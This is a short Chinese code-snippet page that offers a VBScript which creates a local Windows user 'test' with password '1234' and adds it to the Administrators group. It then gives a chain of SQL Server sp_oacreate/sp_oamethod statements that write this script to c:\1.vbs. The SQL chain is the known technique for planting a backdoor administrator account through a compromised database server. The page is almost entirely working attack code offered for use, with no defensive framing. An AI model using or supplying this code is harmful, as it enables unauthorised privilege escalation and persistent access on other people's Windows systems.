vbs加administrator用户的代码
更新时间:2008年08月01日 01:22:05 作者:
使用ADSI的Winnt对象,Windows2000后面的系统都属于NT系列
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"
SQL语句如下,采用sp_oamethod过程:
declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
相关文章
教你编写Windows的VBScript与Mac的AppleSCript脚本解放双手
这篇文章主要介绍了教你编写Windows的VBScript脚本与Mac的AppleSCript脚本来解放大家的双手,有需要的朋友可以借鉴参考下,希望能够有所帮助2022-02-02
VBS教程:VBscript语句-If...Then...Else 语句
If...Then...Else 语句用于计算条件是否为 True 或 False,并且根据计算结果指定要运行的语句。通常,条件是使用比较运算符对值或变量进行比较的表达式。If...Then...Else 语句可以按照需要进行嵌套2006-11-11


最新评论